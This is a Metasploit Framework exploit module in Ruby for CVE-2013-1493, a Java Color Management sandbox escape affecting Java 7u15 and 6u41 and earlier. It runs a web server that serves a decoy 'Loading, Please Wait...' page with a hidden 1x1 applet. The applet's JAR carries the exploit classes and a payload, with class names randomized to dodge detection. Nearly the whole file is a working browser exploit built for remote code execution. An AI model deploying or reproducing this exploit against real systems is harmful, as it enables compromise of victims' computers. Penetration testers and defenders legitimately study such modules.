129 lines
4.7 KiB
Ruby
129 lines
4.7 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({ :javascript => false })
|
|
|
|
def initialize( info = {} )
|
|
|
|
super( update_info( info,
|
|
'Name' => 'Java CMM Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses the Color Management classes from a Java Applet to run
|
|
arbitrary Java code outside of the sandbox as exploited in the wild in February
|
|
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
|
|
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
|
|
systems. This exploit doesn't bypass click-to-play, so the user must accept the java
|
|
warning in order to run the malicious applet.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Unknown', # Vulnerability discovery and Exploit
|
|
'juan vazquez' # Metasploit module (just ported the published exploit)
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-1493' ],
|
|
[ 'OSVDB', '90737' ],
|
|
[ 'BID', '58238' ],
|
|
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
|
|
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
|
|
[ 'URL', 'http://pastie.org/pastes/6581034' ]
|
|
],
|
|
'Platform' => [ 'win', 'java' ],
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
'Platform' => 'java',
|
|
'Arch' => ARCH_JAVA
|
|
}
|
|
],
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DisclosureDate' => 'Mar 01 2013'
|
|
))
|
|
end
|
|
|
|
|
|
def setup
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Init.class")
|
|
@init_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "Leak.class")
|
|
@leak_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyBufferedImage.class")
|
|
@buffered_image_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
|
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-1493", "MyColorSpace.class")
|
|
@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
|
|
|
|
@init_class_name = rand_text_alpha("Init".length)
|
|
@init_class.gsub!("Init", @init_class_name)
|
|
super
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
print_status("handling request for #{request.uri}")
|
|
|
|
case request.uri
|
|
when /\.jar$/i
|
|
jar = payload.encoded_jar
|
|
jar.add_file("#{@init_class_name}.class", @init_class)
|
|
jar.add_file("Leak.class", @leak_class)
|
|
jar.add_file("MyBufferedImage.class", @buffered_image_class)
|
|
jar.add_file("MyColorSpace.class", @color_space_class)
|
|
metasploit_str = rand_text_alpha("metasploit".length)
|
|
payload_str = rand_text_alpha("payload".length)
|
|
jar.entries.each { |entry|
|
|
entry.name.gsub!("metasploit", metasploit_str)
|
|
entry.name.gsub!("Payload", payload_str)
|
|
entry.data = entry.data.gsub("metasploit", metasploit_str)
|
|
entry.data = entry.data.gsub("Payload", payload_str)
|
|
}
|
|
jar.build_manifest
|
|
|
|
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
|
|
when /\/$/
|
|
payload = regenerate_payload(cli)
|
|
if not payload
|
|
print_error("Failed to generate the payload.")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
|
else
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
end
|
|
|
|
end
|
|
|
|
def generate_html
|
|
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
|
|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
|
|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@init_class_name}.class" width="1" height="1">|
|
|
html += %Q|</applet></body></html>|
|
|
return html
|
|
end
|
|
|
|
end
|